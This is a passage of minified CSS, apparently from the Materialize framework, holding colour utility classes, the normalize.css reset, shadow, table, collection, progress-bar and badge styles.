!important}.light-blue.lighten-1{background-color:#29b6f6 !important}.light-blue-text.text-lighten-1{color:#29b6f6 !important}.light-blue.darken-1{background-color:#039be5 !important}.light-blue-text.text-darken-1{color:#039be5 !important}.light-blue.darken-2{background-color:#0288d1 !important}.light-blue-text.text-darken-2{color:#0288d1 !important}.light-blue.darken-3{background-color:#0277bd !important}.light-blue-text.text-darken-3{color:#0277bd !important}.light-blue.darken-4{background-color:#01579b !important}.light-blue-text.text-darken-4{color:#01579b !important}.light-blue.accent-1{background-color:#80d8ff !important}.light-blue-text.text-accent-1{color:#80d8ff !important}.light-blue.accent-2{background-color:#40c4ff !important}.light-blue-text.text-accent-2{color:#40c4ff !important}.light-blue.accent-3{background-color:#00b0ff !important}.light-blue-text.text-accent-3{color:#00b0ff !important}.light-blue.accent-4{background-color:#0091ea !important}.light-blue-text.text-accent-4{color:#0091ea !important}.cyan{background-color:#00bcd4 !important}.cyan-text{color:#00bcd4 !important}.cyan.lighten-5{background-color:#e0f7fa !important}.cyan-text.text-lighten-5{color:#e0f7fa !important}.cyan.lighten-4{background-color:#b2ebf2 !important}.cyan-text.text-lighten-4{color:#b2ebf2 !important}.cyan.lighten-3{background-color:#80deea !important}.cyan-text.text-lighten-3{color:#80deea !important}.cyan.lighten-2{background-color:#4dd0e1 !important}.cyan-text.text-lighten-2{color:#4dd0e1 !important}.cyan.lighten-1{background-color:#26c6da !important}.cyan-text.text-lighten-1{color:#26c6da !important}.cyan.darken-1{background-color:#00acc1 !important}.cyan-text.text-darken-1{color:#00acc1 !important}.cyan.darken-2{background-color:#0097a7 !important}.cyan-text.text-darken-2{color:#0097a7 !important}.cyan.darken-3{background-color:#00838f !important}.cyan-text.text-darken-3{color:#00838f !important}.cyan.darken-4{background-color:#006064 !important}.cyan-text.text-darken-4{color:#006064 !important}.cyan.accent-1{background-color:#84ffff !important}.cyan-text.text-accent-1{color:#84ffff !important}.cyan.accent-2{background-color:#18ffff !important}.cyan-text.text-accent-2{color:#18ffff !important}.cyan.accent-3{background-color:#00e5ff !important}.cyan-text.text-accent-3{color:#00e5ff !important}.cyan.accent-4{background-color:#00b8d4 !important}.cyan-text.text-accent-4{color:#00b8d4 !important}.teal{background-color:#009688 !important}.teal-text{color:#009688 !important}.teal.lighten-5{background-color:#e0f2f1 !important}.teal-text.text-lighten-5{color:#e0f2f1 !important}.teal.lighten-4{background-color:#b2dfdb !important}.teal-text.text-lighten-4{color:#b2dfdb !important}.teal.lighten-3{background-color:#80cbc4 !important}.teal-text.text-lighten-3{color:#80cbc4 !important}.teal.lighten-2{background-color:#4db6ac !important}.teal-text.text-lighten-2{color:#4db6ac !important}.teal.lighten-1{background-color:#26a69a !important}.teal-text.text-lighten-1{color:#26a69a !important}.teal.darken-1{background-color:#00897b !important}.teal-text.text-darken-1{color:#00897b !important}.teal.darken-2{background-color:#00796b !important}.teal-text.text-darken-2{color:#00796b !important}.teal.darken-3{background-color:#00695c !important}.teal-text.text-darken-3{color:#00695c !important}.teal.darken-4{background-color:#004d40 !important}.teal-text.text-darken-4{color:#004d40 !important}.teal.accent-1{background-color:#a7ffeb !important}.teal-text.text-accent-1{color:#a7ffeb !important}.teal.accent-2{background-color:#64ffda !important}.teal-text.text-accent-2{color:#64ffda !important}.teal.accent-3{background-color:#1de9b6 !important}.teal-text.text-accent-3{color:#1de9b6 !important}.teal.accent-4{background-color:#00bfa5 !important}.teal-text.text-accent-4{color:#00bfa5 !important}.green{background-color:#4CAF50 !important}.green-text{color:#4CAF50 !important}.green.lighten-5{background-color:#E8F5E9 !important}.green-text.text-lighten-5{color:#E8F5E9 !important}.green.lighten-4{background-color:#C8E6C9 !important}.green-text.text-lighten-4{color:#C8E6C9 !important}.green.lighten-3{background-color:#A5D6A7 !important}.green-text.text-lighten-3{color:#A5D6A7 !important}.green.lighten-2{background-color:#81C784 !important}.green-text.text-lighten-2{color:#81C784 !important}.green.lighten-1{background-color:#66BB6A !important}.green-text.text-lighten-1{color:#66BB6A !important}.green.darken-1{background-color:#43A047 !important}.green-text.text-darken-1{color:#43A047 !important}.green.darken-2{background-color:#388E3C !important}.green-text.text-darken-2{color:#388E3C !important}.green.darken-3{background-color:#2E7D32 !important}.green-text.text-darken-3{color:#2E7D32 !important}.green.darken-4{background-color:#1B5E20 !important}.green-text.text-darken-4{color:#1B5E20 !important}.green.accent-1{background-color:#B9F6CA !important}.green-text.text-accent-1{color:#B9F6CA !important}.green.accent-2{background-color:#69F0AE !important}.green-text.text-accent-2{color:#69F0AE !important}.green.accent-3{background-color:#00E676 !important}.green-text.text-accent-3{color:#00E676 !important}.green.accent-4{background-color:#00C853 !important}.green-text.text-accent-4{color:#00C853 !important}.light-green{background-color:#8bc34a !important}.light-green-text{color:#8bc34a !important}.light-green.lighten-5{background-color:#f1f8e9 !important}.light-green-text.text-lighten-5{color:#f1f8e9 !important}.light-green.lighten-4{background-color:#dcedc8 !important}.light-green-text.text-lighten-4{color:#dcedc8 !important}.light-green.lighten-3{background-color:#c5e1a5 !important}.light-green-text.text-lighten-3{color:#c5e1a5 !important}.light-green.lighten-2{background-color:#aed581 !important}.light-green-text.text-lighten-2{color:#aed581 !important}.light-green.lighten-1{background-color:#9ccc65 !important}.light-green-text.text-lighten-1{color:#9ccc65 !important}.light-green.darken-1{background-color:#7cb342 !important}.light-green-text.text-darken-1{color:#7cb342 !important}.light-green.darken-2{background-color:#689f38 !important}.light-green-text.text-darken-2{color:#689f38 !important}.light-green.darken-3{background-color:#558b2f !important}.light-green-text.text-darken-3{color:#558b2f !important}.light-green.darken-4{background-color:#33691e !important}.light-green-text.text-darken-4{color:#33691e !important}.light-green.accent-1{background-color:#ccff90 !important}.light-green-text.text-accent-1{color:#ccff90 !important}.light-green.accent-2{background-color:#b2ff59 !important}.light-green-text.text-accent-2{color:#b2ff59 !important}.light-green.accent-3{background-color:#76ff03 !important}.light-green-text.text-accent-3{color:#76ff03 !important}.light-green.accent-4{background-color:#64dd17 !important}.light-green-text.text-accent-4{color:#64dd17 !important}.lime{background-color:#cddc39 !important}.lime-text{color:#cddc39 !important}.lime.lighten-5{background-color:#f9fbe7 !important}.lime-text.text-lighten-5{color:#f9fbe7 !important}.lime.lighten-4{background-color:#f0f4c3 !important}.lime-text.text-lighten-4{color:#f0f4c3 !important}.lime.lighten-3{background-color:#e6ee9c !important}.lime-text.text-lighten-3{color:#e6ee9c !important}.lime.lighten-2{background-color:#dce775 !important}.lime-text.text-lighten-2{color:#dce775 !important}.lime.lighten-1{background-color:#d4e157 !important}.lime-text.text-lighten-1{color:#d4e157 !important}.lime.darken-1{background-color:#c0ca33 !important}.lime-text.text-darken-1{color:#c0ca33 !important}.lime.darken-2{background-color:#afb42b !important}.lime-text.text-darken-2{color:#afb42b !important}.lime.darken-3{background-color:#9e9d24 !important}.lime-text.text-darken-3{color:#9e9d24 !important}.lime.darken-4{background-color:#827717 !important}.lime-text.text-darken-4{color:#827717 !important}.lime.accent-1{background-color:#f4ff81 !important}.lime-text.text-accent-1{color:#f4ff81 !important}.lime.accent-2{background-color:#eeff41 !important}.lime-text.text-accent-2{color:#eeff41 !important}.lime.accent-3{background-color:#c6ff00 !important}.lime-text.text-accent-3{color:#c6ff00 !important}.lime.accent-4{background-color:#aeea00 !important}.lime-text.text-accent-4{color:#aeea00 !important}.yellow{background-color:#ffeb3b !important}.yellow-text{color:#ffeb3b !important}.yellow.lighten-5{background-color:#fffde7 !important}.yellow-text.text-lighten-5{color:#fffde7 !important}.yellow.lighten-4{background-color:#fff9c4 !important}.yellow-text.text-lighten-4{color:#fff9c4 !important}.yellow.lighten-3{background-color:#fff59d !important}.yellow-text.text-lighten-3{color:#fff59d !important}.yellow.lighten-2{background-color:#fff176 !important}.yellow-text.text-lighten-2{color:#fff176 !important}.yellow.lighten-1{background-color:#ffee58 !important}.yellow-text.text-lighten-1{color:#ffee58 !important}.yellow.darken-1{background-color:#fdd835 !important}.yellow-text.text-darken-1{color:#fdd835 !important}.yellow.darken-2{background-color:#fbc02d !important}.yellow-text.text-darken-2{color:#fbc02d !important}.yellow.darken-3{background-color:#f9a825 !important}.yellow-text.text-darken-3{color:#f9a825 !important}.yellow.darken-4{background-color:#f57f17 !important}.yellow-text.text-darken-4{color:#f57f17 !important}.yellow.accent-1{background-color:#ffff8d !important}.yellow-text.text-accent-1{color:#ffff8d !important}.yellow.accent-2{background-color:#ff0 !important}.yellow-text.text-accent-2{color:#ff0 !important}.yellow.accent-3{background-color:#ffea00 !important}.yellow-text.text-accent-3{color:#ffea00 !important}.yellow.accent-4{background-color:#ffd600 !important}.yellow-text.text-accent-4{color:#ffd600 !important}.amber{background-color:#ffc107 !important}.amber-text{color:#ffc107 !important}.amber.lighten-5{background-color:#fff8e1 !important}.amber-text.text-lighten-5{color:#fff8e1 !important}.amber.lighten-4{background-color:#ffecb3 !important}.amber-text.text-lighten-4{color:#ffecb3 !important}.amber.lighten-3{background-color:#ffe082 !important}.amber-text.text-lighten-3{color:#ffe082 !important}.amber.lighten-2{background-color:#ffd54f !important}.amber-text.text-lighten-2{color:#ffd54f !important}.amber.lighten-1{background-color:#ffca28 !important}.amber-text.text-lighten-1{color:#ffca28 !important}.amber.darken-1{background-color:#ffb300 !important}.amber-text.text-darken-1{color:#ffb300 !important}.amber.darken-2{background-color:#ffa000 !important}.amber-text.text-darken-2{color:#ffa000 !important}.amber.darken-3{background-color:#ff8f00 !important}.amber-text.text-darken-3{color:#ff8f00 !important}.amber.darken-4{background-color:#ff6f00 !important}.amber-text.text-darken-4{color:#ff6f00 !important}.amber.accent-1{background-color:#ffe57f !important}.amber-text.text-accent-1{color:#ffe57f !important}.amber.accent-2{background-color:#ffd740 !important}.amber-text.text-accent-2{color:#ffd740 !important}.amber.accent-3{background-color:#ffc400 !important}.amber-text.text-accent-3{color:#ffc400 !important}.amber.accent-4{background-color:#ffab00 !important}.amber-text.text-accent-4{color:#ffab00 !important}.orange{background-color:#ff9800 !important}.orange-text{color:#ff9800 !important}.orange.lighten-5{background-color:#fff3e0 !important}.orange-text.text-lighten-5{color:#fff3e0 !important}.orange.lighten-4{background-color:#ffe0b2 !important}.orange-text.text-lighten-4{color:#ffe0b2 !important}.orange.lighten-3{background-color:#ffcc80 !important}.orange-text.text-lighten-3{color:#ffcc80 !important}.orange.lighten-2{background-color:#ffb74d !important}.orange-text.text-lighten-2{color:#ffb74d !important}.orange.lighten-1{background-color:#ffa726 !important}.orange-text.text-lighten-1{color:#ffa726 !important}.orange.darken-1{background-color:#fb8c00 !important}.orange-text.text-darken-1{color:#fb8c00 !important}.orange.darken-2{background-color:#f57c00 !important}.orange-text.text-darken-2{color:#f57c00 !important}.orange.darken-3{background-color:#ef6c00 !important}.orange-text.text-darken-3{color:#ef6c00 !important}.orange.darken-4{background-color:#e65100 !important}.orange-text.text-darken-4{color:#e65100 !important}.orange.accent-1{background-color:#ffd180 !important}.orange-text.text-accent-1{color:#ffd180 !important}.orange.accent-2{background-color:#ffab40 !important}.orange-text.text-accent-2{color:#ffab40 !important}.orange.accent-3{background-color:#ff9100 !important}.orange-text.text-accent-3{color:#ff9100 !important}.orange.accent-4{background-color:#ff6d00 !important}.orange-text.text-accent-4{color:#ff6d00 !important}.deep-orange{background-color:#ff5722 !important}.deep-orange-text{color:#ff5722 !important}.deep-orange.lighten-5{background-color:#fbe9e7 !important}.deep-orange-text.text-lighten-5{color:#fbe9e7 !important}.deep-orange.lighten-4{background-color:#ffccbc !important}.deep-orange-text.text-lighten-4{color:#ffccbc !important}.deep-orange.lighten-3{background-color:#ffab91 !important}.deep-orange-text.text-lighten-3{color:#ffab91 !important}.deep-orange.lighten-2{background-color:#ff8a65 !important}.deep-orange-text.text-lighten-2{color:#ff8a65 !important}.deep-orange.lighten-1{background-color:#ff7043 !important}.deep-orange-text.text-lighten-1{color:#ff7043 !important}.deep-orange.darken-1{background-color:#f4511e !important}.deep-orange-text.text-darken-1{color:#f4511e !important}.deep-orange.darken-2{background-color:#e64a19 !important}.deep-orange-text.text-darken-2{color:#e64a19 !important}.deep-orange.darken-3{background-color:#d84315 !important}.deep-orange-text.text-darken-3{color:#d84315 !important}.deep-orange.darken-4{background-color:#bf360c !important}.deep-orange-text.text-darken-4{color:#bf360c !important}.deep-orange.accent-1{background-color:#ff9e80 !important}.deep-orange-text.text-accent-1{color:#ff9e80 !important}.deep-orange.accent-2{background-color:#ff6e40 !important}.deep-orange-text.text-accent-2{color:#ff6e40 !important}.deep-orange.accent-3{background-color:#ff3d00 !important}.deep-orange-text.text-accent-3{color:#ff3d00 !important}.deep-orange.accent-4{background-color:#dd2c00 !important}.deep-orange-text.text-accent-4{color:#dd2c00 !important}.brown{background-color:#795548 !important}.brown-text{color:#795548 !important}.brown.lighten-5{background-color:#efebe9 !important}.brown-text.text-lighten-5{color:#efebe9 !important}.brown.lighten-4{background-color:#d7ccc8 !important}.brown-text.text-lighten-4{color:#d7ccc8 !important}.brown.lighten-3{background-color:#bcaaa4 !important}.brown-text.text-lighten-3{color:#bcaaa4 !important}.brown.lighten-2{background-color:#a1887f !important}.brown-text.text-lighten-2{color:#a1887f !important}.brown.lighten-1{background-color:#8d6e63 !important}.brown-text.text-lighten-1{color:#8d6e63 !important}.brown.darken-1{background-color:#6d4c41 !important}.brown-text.text-darken-1{color:#6d4c41 !important}.brown.darken-2{background-color:#5d4037 !important}.brown-text.text-darken-2{color:#5d4037 !important}.brown.darken-3{background-color:#4e342e !important}.brown-text.text-darken-3{color:#4e342e !important}.brown.darken-4{background-color:#3e2723 !important}.brown-text.text-darken-4{color:#3e2723 !important}.blue-grey{background-color:#607d8b !important}.blue-grey-text{color:#607d8b !important}.blue-grey.lighten-5{background-color:#eceff1 !important}.blue-grey-text.text-lighten-5{color:#eceff1 !important}.blue-grey.lighten-4{background-color:#cfd8dc !important}.blue-grey-text.text-lighten-4{color:#cfd8dc !important}.blue-grey.lighten-3{background-color:#b0bec5 !important}.blue-grey-text.text-lighten-3{color:#b0bec5 !important}.blue-grey.lighten-2{background-color:#90a4ae !important}.blue-grey-text.text-lighten-2{color:#90a4ae !important}.blue-grey.lighten-1{background-color:#78909c !important}.blue-grey-text.text-lighten-1{color:#78909c !important}.blue-grey.darken-1{background-color:#546e7a !important}.blue-grey-text.text-darken-1{color:#546e7a !important}.blue-grey.darken-2{background-color:#455a64 !important}.blue-grey-text.text-darken-2{color:#455a64 !important}.blue-grey.darken-3{background-color:#37474f !important}.blue-grey-text.text-darken-3{color:#37474f !important}.blue-grey.darken-4{background-color:#263238 !important}.blue-grey-text.text-darken-4{color:#263238 !important}.grey{background-color:#9e9e9e !important}.grey-text{color:#9e9e9e !important}.grey.lighten-5{background-color:#fafafa !important}.grey-text.text-lighten-5{color:#fafafa !important}.grey.lighten-4{background-color:#f5f5f5 !important}.grey-text.text-lighten-4{color:#f5f5f5 !important}.grey.lighten-3{background-color:#eee !important}.grey-text.text-lighten-3{color:#eee !important}.grey.lighten-2{background-color:#e0e0e0 !important}.grey-text.text-lighten-2{color:#e0e0e0 !important}.grey.lighten-1{background-color:#bdbdbd !important}.grey-text.text-lighten-1{color:#bdbdbd !important}.grey.darken-1{background-color:#757575 !important}.grey-text.text-darken-1{color:#757575 !important}.grey.darken-2{background-color:#616161 !important}.grey-text.text-darken-2{color:#616161 !important}.grey.darken-3{background-color:#424242 !important}.grey-text.text-darken-3{color:#424242 !important}.grey.darken-4{background-color:#212121 !important}.grey-text.text-darken-4{color:#212121 !important}.black{background-color:#000 !important}.black-text{color:#000 !important}.white{background-color:#fff !important}.white-text{color:#fff !important}.transparent{background-color:rgba(0,0,0,0) !important}.transparent-text{color:rgba(0,0,0,0) !important}/*! normalize.css v7.0.0 | MIT License | github.com/necolas/normalize.css */html{line-height:1.15;-ms-text-size-adjust:100%;-webkit-text-size-adjust:100%}body{margin:0}article,aside,footer,header,nav,section{display:block}h1{font-size:2em;margin:0.67em 0}figcaption,figure,main{display:block}figure{margin:1em 40px}hr{-webkit-box-sizing:content-box;box-sizing:content-box;height:0;overflow:visible}pre{font-family:monospace, monospace;font-size:1em}a{background-color:transparent;-webkit-text-decoration-skip:objects}abbr[title]{border-bottom:none;text-decoration:underline;-webkit-text-decoration:underline dotted;-moz-text-decoration:underline dotted;text-decoration:underline dotted}b,strong{font-weight:inherit}b,strong{font-weight:bolder}code,kbd,samp{font-family:monospace, monospace;font-size:1em}dfn{font-style:italic}mark{background-color:#ff0;color:#000}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-0.25em}sup{top:-0.5em}audio,video{display:inline-block}audio:not([controls]){display:none;height:0}img{border-style:none}svg:not(:root){overflow:hidden}button,input,optgroup,select,textarea{font-family:sans-serif;font-size:100%;line-height:1.15;margin:0}button,input{overflow:visible}button,select{text-transform:none}button,html [type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:0.35em 0.75em 0.625em}legend{-webkit-box-sizing:border-box;box-sizing:border-box;color:inherit;display:table;max-width:100%;padding:0;white-space:normal}progress{display:inline-block;vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{-webkit-box-sizing:border-box;box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-cancel-button,[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:inherit}details,menu{display:block}summary{display:list-item}canvas{display:inline-block}template{display:none}[hidden]{display:none}html{-webkit-box-sizing:border-box;box-sizing:border-box}*,*:before,*:after{-webkit-box-sizing:inherit;box-sizing:inherit}button,input,optgroup,select,textarea{font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,Oxygen-Sans,Ubuntu,Cantarell,"Helvetica Neue",sans-serif}ul:not(.browser-default){padding-left:0;list-style-type:none}ul:not(.browser-default)>li{list-style-type:none}a{color:#039be5;text-decoration:none;-webkit-tap-highlight-color:transparent}.valign-wrapper{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center}.clearfix{clear:both}.z-depth-0{-webkit-box-shadow:none !important;box-shadow:none !important}.z-depth-1,nav,.card-panel,.card,.toast,.btn,.btn-large,.btn-small,.btn-floating,.dropdown-content,.collapsible,.sidenav{-webkit-box-shadow:0 2px 2px 0 rgba(0,0,0,0.14),0 3px 1px -2px rgba(0,0,0,0.12),0 1px 5px 0 rgba(0,0,0,0.2);box-shadow:0 2px 2px 0 rgba(0,0,0,0.14),0 3px 1px -2px rgba(0,0,0,0.12),0 1px 5px 0 rgba(0,0,0,0.2)}.z-depth-1-half,.btn:hover,.btn-large:hover,.btn-small:hover,.btn-floating:hover{-webkit-box-shadow:0 3px 3px 0 rgba(0,0,0,0.14),0 1px 7px 0 rgba(0,0,0,0.12),0 3px 1px -1px rgba(0,0,0,0.2);box-shadow:0 3px 3px 0 rgba(0,0,0,0.14),0 1px 7px 0 rgba(0,0,0,0.12),0 3px 1px -1px rgba(0,0,0,0.2)}.z-depth-2{-webkit-box-shadow:0 4px 5px 0 rgba(0,0,0,0.14),0 1px 10px 0 rgba(0,0,0,0.12),0 2px 4px -1px rgba(0,0,0,0.3);box-shadow:0 4px 5px 0 rgba(0,0,0,0.14),0 1px 10px 0 rgba(0,0,0,0.12),0 2px 4px -1px rgba(0,0,0,0.3)}.z-depth-3{-webkit-box-shadow:0 8px 17px 2px rgba(0,0,0,0.14),0 3px 14px 2px rgba(0,0,0,0.12),0 5px 5px -3px rgba(0,0,0,0.2);box-shadow:0 8px 17px 2px rgba(0,0,0,0.14),0 3px 14px 2px rgba(0,0,0,0.12),0 5px 5px -3px rgba(0,0,0,0.2)}.z-depth-4{-webkit-box-shadow:0 16px 24px 2px rgba(0,0,0,0.14),0 6px 30px 5px rgba(0,0,0,0.12),0 8px 10px -7px rgba(0,0,0,0.2);box-shadow:0 16px 24px 2px rgba(0,0,0,0.14),0 6px 30px 5px rgba(0,0,0,0.12),0 8px 10px -7px rgba(0,0,0,0.2)}.z-depth-5,.modal{-webkit-box-shadow:0 24px 38px 3px rgba(0,0,0,0.14),0 9px 46px 8px rgba(0,0,0,0.12),0 11px 15px -7px rgba(0,0,0,0.2);box-shadow:0 24px 38px 3px rgba(0,0,0,0.14),0 9px 46px 8px rgba(0,0,0,0.12),0 11px 15px -7px rgba(0,0,0,0.2)}.hoverable{-webkit-transition:-webkit-box-shadow .25s;transition:-webkit-box-shadow .25s;transition:box-shadow .25s;transition:box-shadow .25s, -webkit-box-shadow .25s}.hoverable:hover{-webkit-box-shadow:0 8px 17px 0 rgba(0,0,0,0.2),0 6px 20px 0 rgba(0,0,0,0.19);box-shadow:0 8px 17px 0 rgba(0,0,0,0.2),0 6px 20px 0 rgba(0,0,0,0.19)}.divider{height:1px;overflow:hidden;background-color:#e0e0e0}blockquote{margin:20px 0;padding-left:1.5rem;border-left:5px solid #ee6e73}i{line-height:inherit}i.left{float:left;margin-right:15px}i.right{float:right;margin-left:15px}i.tiny{font-size:1rem}i.small{font-size:2rem}i.medium{font-size:4rem}i.large{font-size:6rem}img.responsive-img,video.responsive-video{max-width:100%;height:auto}.pagination li{display:inline-block;border-radius:2px;text-align:center;vertical-align:top;height:30px}.pagination li a{color:#444;display:inline-block;font-size:1.2rem;padding:0 10px;line-height:30px}.pagination li.active a{color:#fff}.pagination li.active{background-color:#ee6e73}.pagination li.disabled a{cursor:default;color:#999}.pagination li i{font-size:2rem}.pagination li.pages ul li{display:inline-block;float:none}@media only screen and (max-width: 992px){.pagination{width:100%}.pagination li.prev,.pagination li.next{width:10%}.pagination li.pages{width:80%;overflow:hidden;white-space:nowrap}}.breadcrumb{font-size:18px;color:rgba(255,255,255,0.7)}.breadcrumb i,.breadcrumb [class^="mdi-"],.breadcrumb [class*="mdi-"],.breadcrumb i.material-icons{display:inline-block;float:left;font-size:24px}.breadcrumb:before{content:'\E5CC';color:rgba(255,255,255,0.7);vertical-align:top;display:inline-block;font-family:'Material Icons';font-weight:normal;font-style:normal;font-size:25px;margin:0 10px 0 8px;-webkit-font-smoothing:antialiased}.breadcrumb:first-child:before{display:none}.breadcrumb:last-child{color:#fff}.parallax-container{position:relative;overflow:hidden;height:500px}.parallax-container .parallax{position:absolute;top:0;left:0;right:0;bottom:0;z-index:-1}.parallax-container .parallax img{opacity:0;position:absolute;left:50%;bottom:0;min-width:100%;min-height:100%;-webkit-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0);-webkit-transform:translateX(-50%);transform:translateX(-50%)}.pin-top,.pin-bottom{position:relative}.pinned{position:fixed !important}ul.staggered-list li{opacity:0}.fade-in{opacity:0;-webkit-transform-origin:0 50%;transform-origin:0 50%}@media only screen and (max-width: 600px){.hide-on-small-only,.hide-on-small-and-down{display:none !important}}@media only screen and (max-width: 992px){.hide-on-med-and-down{display:none !important}}@media only screen and (min-width: 601px){.hide-on-med-and-up{display:none !important}}@media only screen and (min-width: 600px) and (max-width: 992px){.hide-on-med-only{display:none !important}}@media only screen and (min-width: 993px){.hide-on-large-only{display:none !important}}@media only screen and (min-width: 1201px){.hide-on-extra-large-only{display:none !important}}@media only screen and (min-width: 1201px){.show-on-extra-large{display:block !important}}@media only screen and (min-width: 993px){.show-on-large{display:block !important}}@media only screen and (min-width: 600px) and (max-width: 992px){.show-on-medium{display:block !important}}@media only screen and (max-width: 600px){.show-on-small{display:block !important}}@media only screen and (min-width: 601px){.show-on-medium-and-up{display:block !important}}@media only screen and (max-width: 992px){.show-on-medium-and-down{display:block !important}}@media only screen and (max-width: 600px){.center-on-small-only{text-align:center}}.page-footer{padding-top:20px;color:#fff;background-color:#ee6e73}.page-footer .footer-copyright{overflow:hidden;min-height:50px;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:justify;-webkit-justify-content:space-between;-ms-flex-pack:justify;justify-content:space-between;padding:10px 0px;color:rgba(255,255,255,0.8);background-color:rgba(51,51,51,0.08)}table,th,td{border:none}table{width:100%;display:table;border-collapse:collapse;border-spacing:0}table.striped tr{border-bottom:none}table.striped>tbody>tr:nth-child(odd){background-color:rgba(242,242,242,0.5)}table.striped>tbody>tr>td{border-radius:0}table.highlight>tbody>tr{-webkit-transition:background-color .25s ease;transition:background-color .25s ease}table.highlight>tbody>tr:hover{background-color:rgba(242,242,242,0.5)}table.centered thead tr th,table.centered tbody tr td{text-align:center}tr{border-bottom:1px solid rgba(0,0,0,0.12)}td,th{padding:15px 5px;display:table-cell;text-align:left;vertical-align:middle;border-radius:2px}@media only screen and (max-width: 992px){table.responsive-table{width:100%;border-collapse:collapse;border-spacing:0;display:block;position:relative}table.responsive-table td:empty:before{content:'\00a0'}table.responsive-table th,table.responsive-table td{margin:0;vertical-align:top}table.responsive-table th{text-align:left}table.responsive-table thead{display:block;float:left}table.responsive-table thead tr{display:block;padding:0 10px 0 0}table.responsive-table thead tr th::before{content:"\00a0"}table.responsive-table tbody{display:block;width:auto;position:relative;overflow-x:auto;white-space:nowrap}table.responsive-table tbody tr{display:inline-block;vertical-align:top}table.responsive-table th{display:block;text-align:right}table.responsive-table td{display:block;min-height:1.25em;text-align:left}table.responsive-table tr{border-bottom:none;padding:0 10px}table.responsive-table thead{border:0;border-right:1px solid rgba(0,0,0,0.12)}}.collection{margin:.5rem 0 1rem 0;border:1px solid #e0e0e0;border-radius:2px;overflow:hidden;position:relative}.collection .collection-item{background-color:#fff;line-height:1.5rem;padding:10px 20px;margin:0;border-bottom:1px solid #e0e0e0}.collection .collection-item.avatar{min-height:84px;padding-left:72px;position:relative}.collection .collection-item.avatar:not(.circle-clipper)>.circle,.collection .collection-item.avatar :not(.circle-clipper)>.circle{position:absolute;width:42px;height:42px;overflow:hidden;left:15px;display:inline-block;vertical-align:middle}.collection .collection-item.avatar i.circle{font-size:18px;line-height:42px;color:#fff;background-color:#999;text-align:center}.collection .collection-item.avatar .title{font-size:16px}.collection .collection-item.avatar p{margin:0}.collection .collection-item.avatar .secondary-content{position:absolute;top:16px;right:16px}.collection .collection-item:last-child{border-bottom:none}.collection .collection-item.active{background-color:#26a69a;color:#eafaf9}.collection .collection-item.active .secondary-content{color:#fff}.collection a.collection-item{display:block;-webkit-transition:.25s;transition:.25s;color:#26a69a}.collection a.collection-item:not(.active):hover{background-color:#ddd}.collection.with-header .collection-header{background-color:#fff;border-bottom:1px solid #e0e0e0;padding:10px 20px}.collection.with-header .collection-item{padding-left:30px}.collection.with-header .collection-item.avatar{padding-left:72px}.secondary-content{float:right;color:#26a69a}.collapsible .collection{margin:0;border:none}.video-container{position:relative;padding-bottom:56.25%;height:0;overflow:hidden}.video-container iframe,.video-container object,.video-container embed{position:absolute;top:0;left:0;width:100%;height:100%}.progress{position:relative;height:4px;display:block;width:100%;background-color:#acece6;border-radius:2px;margin:.5rem 0 1rem 0;overflow:hidden}.progress .determinate{position:absolute;top:0;left:0;bottom:0;background-color:#26a69a;-webkit-transition:width .3s linear;transition:width .3s linear}.progress .indeterminate{background-color:#26a69a}.progress .indeterminate:before{content:'';position:absolute;background-color:inherit;top:0;left:0;bottom:0;will-change:left, right;-webkit-animation:indeterminate 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite;animation:indeterminate 2.1s cubic-bezier(0.65, 0.815, 0.735, 0.395) infinite}.progress .indeterminate:after{content:'';position:absolute;background-color:inherit;top:0;left:0;bottom:0;will-change:left, right;-webkit-animation:indeterminate-short 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite;animation:indeterminate-short 2.1s cubic-bezier(0.165, 0.84, 0.44, 1) infinite;-webkit-animation-delay:1.15s;animation-delay:1.15s}@-webkit-keyframes indeterminate{0%{left:-35%;right:100%}60%{left:100%;right:-90%}100%{left:100%;right:-90%}}@keyframes indeterminate{0%{left:-35%;right:100%}60%{left:100%;right:-90%}100%{left:100%;right:-90%}}@-webkit-keyframes indeterminate-short{0%{left:-200%;right:100%}60%{left:107%;right:-8%}100%{left:107%;right:-8%}}@keyframes indeterminate-short{0%{left:-200%;right:100%}60%{left:107%;right:-8%}100%{left:107%;right:-8%}}.hide{display:none !important}.left-align{text-align:left}.right-align{text-align:right}.center,.center-align{text-align:center}.left{float:left !important}.right{float:right !important}.no-select,input[type=range],input[type=range]+.thumb{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.circle{border-radius:50%}.center-block{display:block;margin-left:auto;margin-right:auto}.truncate{display:block;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.no-padding{padding:0 !important}span.badge{min-width:3rem;padding:0 6px;margin-left:14px;text-align:center;font-size:1rem;line-height:22px;height:22px;color:#757575;float:right;-webkit-box-sizing:border-box;box-sizing:border-box}span.badge.new{font-weight:300;font-size:0.8rem;color:#fff;background-color:#26a69a;border-radius:2px}span.badge.new:after{content:" new"}span.badge[data-badge-caption]::after{content:" " attr(data-badge-caption)}nav ul a span.badge{display:inline-block;float:none;margin-left:4px;line-height:22px;height:22px;-webkit-font-smoothing:auto}.collection-item span.badge{margin-top:calc(.75rem - 11px)}.collapsible span.badge{margin-left:auto}.sidenav span.badge{margin-top:calc(24px - 11px)}table 